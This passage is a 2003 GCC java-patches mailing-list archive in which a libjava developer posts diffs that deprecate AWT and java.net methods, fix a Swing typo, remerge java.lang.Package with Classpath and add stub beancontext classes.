SHA1 Hi list, I commited this to trunk and classpath. Tom: Can you commit to 3_3-branch ? Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+YltXWSOgCCdjSDsRApKgAJsFXtjwqnwPJMCVeQbK+2MhjcM1agCfd13z cWiHZw8lUrFoGPrb2C0zbLI=3D =3D4QGT =2D----END PGP SIGNATURE----- --Boundary-00=_XtlY+J1easKyAfq Content-Type: text/x-diff; charset="iso-8859-15"; name="awt.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="awt.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1754 diff -u -r1.1754 ChangeLog --- ChangeLog 2 Mar 2003 15:57:13 -0000 1.1754 +++ ChangeLog 2 Mar 2003 19:20:19 -0000 @@ -1,5 +1,26 @@ 2003-03-02 Michael Koch + * java/awt/List.java + (setMultipleSelections): Deprecated. + (delItem): Deprecated. + * java/awt/MenuComponent.java + (getPeer): Deprecated. + * java/awt/ScrollPane.java + (addNotify): getPeer() is deprecated. Use isDisplayable() instead. + * java/awt/dnd/MouseDragGestureRecognizer.java + (mouseClicked): Added comment. + (mousePressed): Added comment. + (mouseReleased): Added comment. + (mouseEntered): Added comment. + (mouseExited): Added comment. + (mouseDragged): Added comment. + (mouseMoved): Added comment. + * java/awt/event/KeyEvent.java + (KeyEvent): Deprecated. + (setModifiers): Deprecated. + +2003-03-02 Michael Koch + * gnu/java/nio/FileChannelImpl.java (fd): Type FileDescriptor instead of int. (lengthInternal): Removed. Index: java/awt/List.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/List.java,v retrieving revision 1.12 diff -u -r1.12 List.java --- java/awt/List.java 15 Feb 2003 09:21:55 -0000 1.12 +++ java/awt/List.java 2 Mar 2003 19:20:19 -0000 @@ -299,6 +299,8 @@ * * @param multipleMode true to enable multiple mode, * false otherwise. + * + * @deprecated */ public void setMultipleSelections(boolean multipleMode) @@ -523,6 +525,8 @@ * @param index The index of the item to delete. * * @exception IllegalArgumentException If the index is not valid + * + * @deprecated */ public void delItem(int index) throws IllegalArgumentException Index: java/awt/MenuComponent.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/MenuComponent.java,v retrieving revision 1.10 diff -u -r1.10 MenuComponent.java --- java/awt/MenuComponent.java 13 Feb 2003 07:02:12 -0000 1.10 +++ java/awt/MenuComponent.java 2 Mar 2003 19:20:19 -0000 @@ -186,6 +186,8 @@ * Returns the native windowing system peer for this component. * * @return The peer for this component. + * + * @deprecated */ public MenuComponentPeer getPeer() Index: java/awt/ScrollPane.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/ScrollPane.java,v retrieving revision 1.10 diff -u -r1.10 ScrollPane.java --- java/awt/ScrollPane.java 2 Mar 2003 14:31:40 -0000 1.10 +++ java/awt/ScrollPane.java 2 Mar 2003 19:20:19 -0000 @@ -343,7 +343,7 @@ public void addNotify() { - if (getPeer() == null) + if (!isDisplayable ()) return; setPeer((ComponentPeer)getToolkit().createScrollPane(this)); Index: java/awt/dnd/MouseDragGestureRecognizer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/MouseDragGestureRecognizer.java,v retrieving revision 1.3 diff -u -r1.3 MouseDragGestureRecognizer.java --- java/awt/dnd/MouseDragGestureRecognizer.java 2 Mar 2003 14:24:48 -0000 1.3 +++ java/awt/dnd/MouseDragGestureRecognizer.java 2 Mar 2003 19:20:19 -0000 @@ -96,36 +96,36 @@ public void mouseClicked (MouseEvent e) { - // FIXME: implement this + // Do nothing in here by default. } public void mousePressed (MouseEvent e) { - // FIXME: implement this + // Do nothing in here by default. } public void mouseReleased (MouseEvent e) { - // FIXME: implement this + // Do nothing in here by default. } public void mouseEntered (MouseEvent e) { - // FIXME: implement this + // Do nothing in here by default. } public void mouseExited (MouseEvent e) { - // FIXME: implement this + // Do nothing in here by default. } public void mouseDragged (MouseEvent e) { - // FIXME: implement this + // Do nothing in here by default. } public void mouseMoved (MouseEvent e) { - // FIXME: implement this + // Do nothing in here by default. } } // class MouseDragGestureRecognizer Index: java/awt/event/KeyEvent.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/event/KeyEvent.java,v retrieving revision 1.9 diff -u -r1.9 KeyEvent.java --- java/awt/event/KeyEvent.java 10 Nov 2002 00:16:43 -0000 1.9 +++ java/awt/event/KeyEvent.java 2 Mar 2003 19:20:20 -0000 @@ -1142,6 +1142,8 @@ * @param keyCode the integer constant for the virtual key type * @throws IllegalArgumentException if source is null, or if * id == KEY_TYPED but keyCode != VK_UNDEFINED + * + * @deprecated */ public KeyEvent(Component source, int id, long when, int modifiers, int keyCode) @@ -1202,6 +1204,8 @@ * * @param modifiers the new modifier value, in either old or new style * @see InputEvent + * + * @deprecated */ public void setModifiers(int modifiers) { --Boundary-00=_XtlY+J1easKyAfq-- From java-patches-return-6360-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 19:49:54 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11499 invoked by alias); 2 Mar 2003 19:49:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11492 invoked from network); 2 Mar 2003 19:49:53 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.14) by 172.16.49.205 with SMTP; 2 Mar 2003 19:49:53 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-81-234.ewetel.net [80.228.81.234]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h22Jnp0h006071 for ; Sun, 2 Mar 2003 20:49:51 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: javax.swing.text - fixed two typos. Date: Sun, 2 Mar 2003 20:50:10 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_yBmY+nOSRIykrcC" Message-Id: <200303022050.10363.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_yBmY+nOSRIykrcC Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to fix two typos. Tom: I think this is also for 3.3. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+YmByWSOgCCdjSDsRAkuRAJoCteJ7GtqSWu1e6J/W1oZnGALWwQCfYO36 yWUTRHQqnxxGwR8uHp2jlSc=3D =3D6348 =2D----END PGP SIGNATURE----- --Boundary-00=_yBmY+nOSRIykrcC Content-Type: text/x-diff; charset="iso-8859-15"; name="swing.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="swing.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1755 diff -u -r1.1755 ChangeLog --- ChangeLog 2 Mar 2003 19:24:49 -0000 1.1755 +++ ChangeLog 2 Mar 2003 19:45:20 -0000 @@ -1,5 +1,12 @@ 2003-03-02 Michael Koch + * javax/swing/text/Caret.java + (getMagicCaretPosition): Fixed typo in method name. + * javax/swing/text/DefaultCaret.java + (getMagicCaretPosition): Fixed typo in method name. + +2003-03-02 Michael Koch + * java/awt/List.java (setMultipleSelections): Deprecated. (delItem): Deprecated. Index: javax/swing/text/Caret.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/text/Caret.java,v retrieving revision 1.1 diff -u -r1.1 Caret.java --- javax/swing/text/Caret.java 9 Aug 2002 04:26:12 -0000 1.1 +++ javax/swing/text/Caret.java 2 Mar 2003 19:45:20 -0000 @@ -46,7 +46,7 @@ void deinstall(JTextComponent c); int getBlinkRate(); int getDot(); - Point getMagicaretPosition(); + Point getMagicCaretPosition(); int getMark(); void install(JTextComponent c); boolean isSelectionVisible(); Index: javax/swing/text/DefaultCaret.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/text/DefaultCaret.java,v retrieving revision 1.1 diff -u -r1.1 DefaultCaret.java --- javax/swing/text/DefaultCaret.java 9 Aug 2002 04:26:12 -0000 1.1 +++ javax/swing/text/DefaultCaret.java 2 Mar 2003 19:45:20 -0000 @@ -104,7 +104,7 @@ Point magic = null; public void setMagicCaretPosition(Point p) { magic = p; } - public Point getMagicaretPosition() + public Point getMagicCaretPosition() { return magic; } @@ -167,6 +167,3 @@ repaint(); } } - - - --Boundary-00=_yBmY+nOSRIykrcC-- From java-patches-return-6361-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 20:13:18 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21925 invoked by alias); 2 Mar 2003 20:13:18 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21917 invoked from network); 2 Mar 2003 20:13:17 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by 172.16.49.205 with SMTP; 2 Mar 2003 20:13:17 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-81-234.ewetel.net [80.228.81.234]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h22KDF0h015003 for ; Sun, 2 Mar 2003 21:13:16 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: java.net - some fixes Date: Sun, 2 Mar 2003 21:13:34 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_uXmY+sIkPRbLGBj" Message-Id: <200303022113.34382.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_uXmY+sIkPRbLGBj Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to add some @deprecated and replace one=20 SecurityManager.checkMulticast with SecurityManager.checkPermission. Tom: I think this is for 3.3 too. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+YmXuWSOgCCdjSDsRAlq5AJwL0czcVwRodVwsUShft32gEd3ipwCfUEo0 viGZMY6qIDqPPpDMqfc6q3w=3D =3DMujN =2D----END PGP SIGNATURE----- --Boundary-00=_uXmY+sIkPRbLGBj Content-Type: text/x-diff; charset="iso-8859-15"; name="net.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="net.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1756 diff -u -r1.1756 ChangeLog --- ChangeLog 2 Mar 2003 19:45:52 -0000 1.1756 +++ ChangeLog 2 Mar 2003 20:10:44 -0000 @@ -1,5 +1,17 @@ 2003-03-02 Michael Koch + * java/net/HttpURLConnection.java + (HTTP_SERVER_ERROR): Deprecated. + * java/net/MulticastSocket.java + (send): Replaced checkMulticast with appropriate checkPermission call, + deprecated. + * java/net/URLDecoder.java + (decode): Deprecated. + * java/net/URLEncoder.java + (encode): Deprecated. + +2003-03-02 Michael Koch + * javax/swing/text/Caret.java (getMagicCaretPosition): Fixed typo in method name. * javax/swing/text/DefaultCaret.java Index: java/net/HttpURLConnection.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/HttpURLConnection.java,v retrieving revision 1.10 diff -u -r1.10 HttpURLConnection.java --- java/net/HttpURLConnection.java 3 Jan 2003 00:49:31 -0000 1.10 +++ java/net/HttpURLConnection.java 2 Mar 2003 20:10:44 -0000 @@ -242,6 +242,8 @@ /** * This error code indicates that some sort of server error occurred. + * + * @deprecated */ public static final int HTTP_SERVER_ERROR = 500; Index: java/net/MulticastSocket.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/MulticastSocket.java,v retrieving revision 1.18 diff -u -r1.18 MulticastSocket.java --- java/net/MulticastSocket.java 16 Jan 2003 08:01:27 -0000 1.18 +++ java/net/MulticastSocket.java 2 Mar 2003 20:10:44 -0000 @@ -426,17 +426,21 @@ * @exception IOException If an error occurs * @exception SecurityException If a security manager exists and its * checkConnect or checkMulticast method doesn't allow the operation + * + * @deprecated */ public synchronized void send(DatagramPacket p, byte ttl) throws IOException { SecurityManager s = System.getSecurityManager(); if (s != null) { - InetAddress addr = p.getAddress(); - if (addr.isMulticastAddress()) - s.checkMulticast(addr, ttl); - else - s.checkConnect(addr.getHostAddress(), p.getPort()); + InetAddress addr = p.getAddress(); + if (addr.isMulticastAddress()) + s.checkPermission (new SocketPermission + (addr.getHostName () + p.getPort (), + "accept,connect")); + else + s.checkConnect(addr.getHostAddress(), p.getPort()); } int oldttl = impl.getTimeToLive(); Index: java/net/URLDecoder.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/URLDecoder.java,v retrieving revision 1.9 diff -u -r1.9 URLDecoder.java --- java/net/URLDecoder.java 13 Feb 2003 07:33:40 -0000 1.9 +++ java/net/URLDecoder.java 2 Mar 2003 20:10:44 -0000 @@ -77,6 +77,8 @@ * @param s the String to convert * * @return the converted String + * + * @deprecated */ public static String decode(String s) { Index: java/net/URLEncoder.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/URLEncoder.java,v retrieving revision 1.7 diff -u -r1.7 URLEncoder.java --- java/net/URLEncoder.java 3 Nov 2002 20:27:31 -0000 1.7 +++ java/net/URLEncoder.java 2 Mar 2003 20:10:44 -0000 @@ -71,6 +71,8 @@ * @param s The String to convert * * @return The converted String + * + * @deprecated */ public static String encode(String s) { --Boundary-00=_uXmY+sIkPRbLGBj-- From java-patches-return-6362-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 21:19:11 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12910 invoked by alias); 2 Mar 2003 21:19:11 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12903 invoked from network); 2 Mar 2003 21:19:11 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by 172.16.49.205 with SMTP; 2 Mar 2003 21:19:11 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-81-234.ewetel.net [80.228.81.234]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h22LJ70h008057 for ; Sun, 2 Mar 2003 22:19:09 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: java.lang.Package - partly remerged with classpath Date: Sun, 2 Mar 2003 22:19:22 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_aVnY+yTj1tfqMYg" Message-Id: <200303022219.24428.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_aVnY+yTj1tfqMYg Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to partly remerge java.lang.Package with=20 classpath. This is mainly method order, documentation, reformating=20 and simplification of code. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+YnVcWSOgCCdjSDsRAq8zAKCOlOtIZSHs3xuFw7JV7v470asgkwCglKsw Y7+6fg0DCdMtYWBBUcwIsYQ=3D =3D7u3H =2D----END PGP SIGNATURE----- --Boundary-00=_aVnY+yTj1tfqMYg Content-Type: text/x-diff; charset="iso-8859-15"; name="package.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="package.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1759 diff -u -r1.1759 ChangeLog --- ChangeLog 2 Mar 2003 21:06:53 -0000 1.1759 +++ ChangeLog 2 Mar 2003 21:16:19 -0000 @@ -1,5 +1,10 @@ 2003-03-02 Michael Koch + * java/lang/Package.java: + Remerged from classpath. + +2003-03-02 Michael Koch + * java/net/HttpURLConnection.java (HTTP_SERVER_ERROR): Deprecated. * java/net/MulticastSocket.java Index: java/lang/Package.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/Package.java,v retrieving revision 1.4 diff -u -r1.4 Package.java --- java/lang/Package.java 22 Jan 2002 22:40:16 -0000 1.4 +++ java/lang/Package.java 2 Mar 2003 21:16:19 -0000 @@ -1,5 +1,5 @@ -/* java.lang.Package - Everything you ever wanted to know about a package. - Copyright (C) 2000, 2001 Free Software Foundation, Inc. +/* Package.java -- information about a package + Copyright (C) 2000, 2001, 2002 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -49,8 +49,8 @@ * section of the * Product Versioning Specification. * It also allows packages to be sealed with respect to the originating URL. - *

          - * The most useful method is the isCompatibleWith() method that + * + *

          The most useful method is the isCompatibleWith() method that * compares a desired version of a specification with the version of the * specification as implemented by a package. A package is considered * compatible with another version if the version of the specification is @@ -63,8 +63,11 @@ * then the other version, etc. (If a version has no minor, micro, etc numbers * then they are considered the be 0.) * + * @author Mark Wielaard + * @see ClassLoader#definePackage(String, String, String, String, String, + * String, String, URL) * @since 1.2 - * @author Mark Wielaard (mark@klomp.org) + * @status updated to 1.4 */ public class Package { @@ -73,26 +76,29 @@ /** The name if the implementation */ final private String implTitle; + /** The vendor that wrote this implementation */ final private String implVendor; + /** The version of this implementation */ final private String implVersion; /** The name of the specification */ final private String specTitle; + /** The name of the specification designer */ final private String specVendor; + /** The version of this specification */ final private String specVersion; /** If sealed the origin of the package classes, otherwise null */ final private URL sealed; - /** - * A package local constructor for the Package class. - * All parameters except the name of the package may be - * null. - * There are no public constructors defined for Package this is a package + /** + * A package local constructor for the Package class. All parameters except + * the name of the package may be null. + * There are no public constructors defined for Package; this is a package * local constructor that is used by java.lang.Classloader.definePackage(). * * @param name The name of the Package @@ -112,87 +118,102 @@ throw new IllegalArgumentException("null Package name"); this.name = name; - this.implTitle = implTitle; this.implVendor = implVendor; this.implVersion = implVersion; - this.specTitle = specTitle; this.specVendor = specVendor; this.specVersion = specVersion; - this.sealed = sealed; } - /** - * Returns the Package name. + /** + * Returns the Package name in dot-notation. + * + * @return the non-null package name */ public String getName() { return name; } - /** - * Returns the name of the implementation or null if unknown. + /** + * Returns the name of the specification, or null if unknown. + * + * @return the specification title */ - public String getImplementationTitle() + public String getSpecificationTitle() { - return implTitle; + return specTitle; } - /** - * Returns the vendor that wrote this implementation or null if unknown. + /** + * Returns the version of the specification, or null if unknown. + * + * @return the specification version */ - public String getImplementationVendor() + public String getSpecificationVersion() { - return implVendor; + return specVersion; } - /** - * Returns the version of this implementation or null if unknown. + /** + * Returns the name of the specification designer, or null if unknown. + * + * @return the specification vendor */ - public String getImplementationVersion() + public String getSpecificationVendor() { - return implVersion; + return specVendor; } - /** - * Returns the name of the specification or null if unknown. + /** + * Returns the name of the implementation, or null if unknown. + * + * @return the implementation title */ - public String getSpecificationTitle() + public String getImplementationTitle() { - return specTitle; + return implTitle; } - /** - * Returns the name of the specification designer or null if unknown. + /** + * Returns the version of this implementation, or null if unknown. + * + * @return the implementation version */ - public String getSpecificationVendor() + public String getImplementationVersion() { - return specVendor; + return implVersion; } - /** - * Returns the version of the specification or null if unknown. + /** + * Returns the vendor that wrote this implementation, or null if unknown. + * + * @return the implementation vendor */ - public String getSpecificationVersion() + public String getImplementationVendor() { - return specVersion; + return implVendor; } - /** + /** * Returns true if this Package is sealed. + * + * @return true if the package is sealed */ public boolean isSealed() { - return (sealed != null); + return sealed != null; } - /** + /** * Returns true if this Package is sealed and the origin of the classes is * the given URL. - * - * @param url + * + * @param url the URL to test + * @return true if the package is sealed by this URL + * @throws NullPointerException if url is null */ public boolean isSealed(URL url) { @@ -201,36 +222,36 @@ /** * Checks if the version of the specification is higher or at least as high - * as the desired version. + * as the desired version. Comparison is done by sequentially comparing + * dotted decimal numbers from the parameter and from + * getSpecificationVersion. + * * @param version the (minimal) desired version of the specification - * @exception NumberFormatException when either version or the - * specification version is not a correctly formatted version number - * @exception NullPointerException if the supplied version or the - * Package specification version is null. + * @throws NumberFormatException if either version string is invalid + * @throws NullPointerException if either version string is null */ - public boolean isCompatibleWith(String version) throws NumberFormatException + public boolean isCompatibleWith(String version) { StringTokenizer versionTokens = new StringTokenizer(version, "."); StringTokenizer specTokens = new StringTokenizer(specVersion, "."); try { - while (versionTokens.hasMoreElements()) - { - int vers = Integer.parseInt(versionTokens.nextToken()); - int spec = Integer.parseInt(specTokens.nextToken()); - if (spec < vers) - return false; - else if (spec > vers) - return true; - // They must be equal, next Token please! - } + while (versionTokens.hasMoreElements()) + { + int vers = Integer.parseInt(versionTokens.nextToken()); + int spec = Integer.parseInt(specTokens.nextToken()); + if (spec < vers) + return false; + else if (spec > vers) + return true; + // They must be equal, next Token please! + } } catch (NoSuchElementException e) { - // this must have been thrown by spec.netToken() so return false - return false; + // This must have been thrown by spec.nextToken() so return false. + return false; } - // They must have been exactly the same version. // Or the specVersion has more subversions. That is also good. return true; @@ -241,7 +262,9 @@ * It may return null if the package is unknown, when there is no * information on that particular package available or when the callers * classloader is null. + * * @param name the name of the desired package + * @return the package by that name in the current ClassLoader */ public static Package getPackage(String name) { @@ -249,16 +272,14 @@ SecurityManager sm = System.getSecurityManager(); Class c = sm.getClassContext()[1]; ClassLoader cl = c.getClassLoader(); - - if (cl != null) - return cl.getPackage(name); - else - return null; + return cl != null ? cl.getPackage(name) : null; } /** * Returns all the packages that are known to the callers class loader. * It may return an empty array if the classloader of the caller is null. + * + * @return an array of all known packages */ public static Package[] getPackages() { @@ -266,24 +287,29 @@ SecurityManager sm = System.getSecurityManager(); Class c = sm.getClassContext()[1]; ClassLoader cl = c.getClassLoader(); - - if (cl != null) - return cl.getPackages(); - else - return new Package[0]; + // Sun's implementation returns the packages loaded by the bootstrap + // classloader if cl is null, but right now our bootstrap classloader + // does not create any Packages. + return cl != null ? cl.getPackages() : new Package[0]; } - /** + /** * Returns the hashCode of the name of this package. + * + * @return the hash code */ public int hashCode() { return name.hashCode(); } - /** - * Returns a string representation of this package name, specification, - * implementation and class origin if sealed. + /** + * Returns a string representation of this package. It is specified to + * be "package " + getName() + (getSpecificationTitle() == null + * ? "" : ", " + getSpecificationTitle()) + (getSpecificationVersion() + * == null ? "" : ", version " + getSpecificationVersion()). + * + * @return the string representation of the package */ public String toString() { @@ -295,4 +321,4 @@ " version: " + implVersion + " vendor: " + implVendor + " sealed: " + sealed; } -} +} // class Package --Boundary-00=_aVnY+yTj1tfqMYg-- From java-patches-return-6363-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 22:25:01 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3968 invoked by alias); 2 Mar 2003 22:25:00 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3958 invoked from network); 2 Mar 2003 22:25:00 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 2 Mar 2003 22:25:00 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-81-234.ewetel.net [80.228.81.234]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h22MOvXR003817 for ; Sun, 2 Mar 2003 23:24:57 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: Patch: java.beans.beancontext - 2 new classes Date: Sun, 2 Mar 2003 23:23:15 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_TRoY+K52gB9dqCC" Message-Id: <200303022323.15965.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_TRoY+K52gB9dqCC Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I wrote a patch to add the two missing classes to=20 java.beans.beancontext. Please review and comment. This should go into classpath and probably 3.3 too. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+YoRTWSOgCCdjSDsRApHNAJ0Q5FSv7jd4Lh5cNx/LEGXc1QIlngCgkrgW 59uo9gSapon2eoMzZY70DcQ=3D =3DnMlC =2D----END PGP SIGNATURE----- --Boundary-00=_TRoY+K52gB9dqCC Content-Type: text/x-diff; charset="iso-8859-15"; name="beans.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="beans.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1755 diff -u -r1.1755 ChangeLog --- ChangeLog 2 Mar 2003 19:24:49 -0000 1.1755 +++ ChangeLog 2 Mar 2003 19:40:56 -0000 @@ -1,5 +1,16 @@ 2003-03-02 Michael Koch + * java/beans/beancontext/BeanContextServicesSupport.java, + java/beans/beancontext/BeanContextSupport.java: + New files. + * Makefile.am + (awt_java_source_files): Added the following files: + java/beans/beancontext/BeanContextServicesSupport.java + java/beans/beancontext/BeanContextSupport.java: + * Makefile.in: Regenerated. + +2003-03-02 Michael Koch + * java/awt/List.java (setMultipleSelections): Deprecated. (delItem): Deprecated. Index: java/beans/beancontext/BeanContextServicesSupport.java =================================================================== RCS file: java/beans/beancontext/BeanContextServicesSupport.java diff -N java/beans/beancontext/BeanContextServicesSupport.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/beans/beancontext/BeanContextServicesSupport.java 2 Mar 2003 19:40:56 -0000 @@ -0,0 +1,275 @@ +/* java.beans.beancontext.BeanContextServicesSupport + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.beans.beancontext; + +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.Serializable; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Locale; +import java.util.TooManyListenersException; + +/** + * @author Michael Koch + * @since 1.2 + */ +public class BeanContextServicesSupport + extends BeanContextSupport + implements BeanContextServices +{ + private static final long serialVersionUID = -8494482757288719206L; + + protected class BCSSChild + extends BeanContextSupport.BCSChild + { + private static final long serialVersionUID = -6848044915271367103L; + } + + protected class BCSSProxyServiceProvider + implements BeanContextServiceProvider, + BeanContextServiceRevokedListener + { + private static final long serialVersionUID = 7078212910685744490L; + + public Iterator getCurrentServiceSelectors (BeanContextServices bcs, + Class serviceClass) + { + throw new Error ("Not implemented"); + } + + public Object getService (BeanContextServices bcs, + Object requestor, + Class serviceClass, + Object serviceSelector) + { + throw new Error ("Not implemented"); + } + + public void releaseService (BeanContextServices bcs, + Object requestor, + Object service) + { + throw new Error ("Not implemented"); + } + + public void serviceRevoked (BeanContextServiceRevokedEvent bcsre) + { + throw new Error ("Not implemented"); + } + } + + protected static class BCSSServiceProvider + implements Serializable + { + protected BeanContextServiceProvider serviceProvider; + + protected BeanContextServiceProvider getServiceProvider() + { + return serviceProvider; + } + } + + protected transient ArrayList bcsListeners; + + protected transient BCSSProxyServiceProvider proxy; + + protected transient int serializable; + + protected transient HashMap services; + + public BeanContextServicesSupport () + { + this (null, null, true, true); + } + + public BeanContextServicesSupport (BeanContextServices peer) + { + this (peer, null, true, true); + } + + public BeanContextServicesSupport (BeanContextServices peer, Locale lcle) + { + this (peer, lcle, true, true); + } + + public BeanContextServicesSupport (BeanContextServices peer, Locale lcle, boolean dtime) + { + this (peer, lcle, dtime, true); + } + + public BeanContextServicesSupport (BeanContextServices peer, Locale lcle, boolean dtime, boolean visible) + { + throw new Error ("Not implemented"); + } + + public void addBeanContextServicesListener (BeanContextServicesListener bcsl) + { + throw new Error ("Not implemented"); + } + + public boolean addService (Class serviceClass, BeanContextServiceProvider bcsp) + { + throw new Error ("Not implemented"); + } + 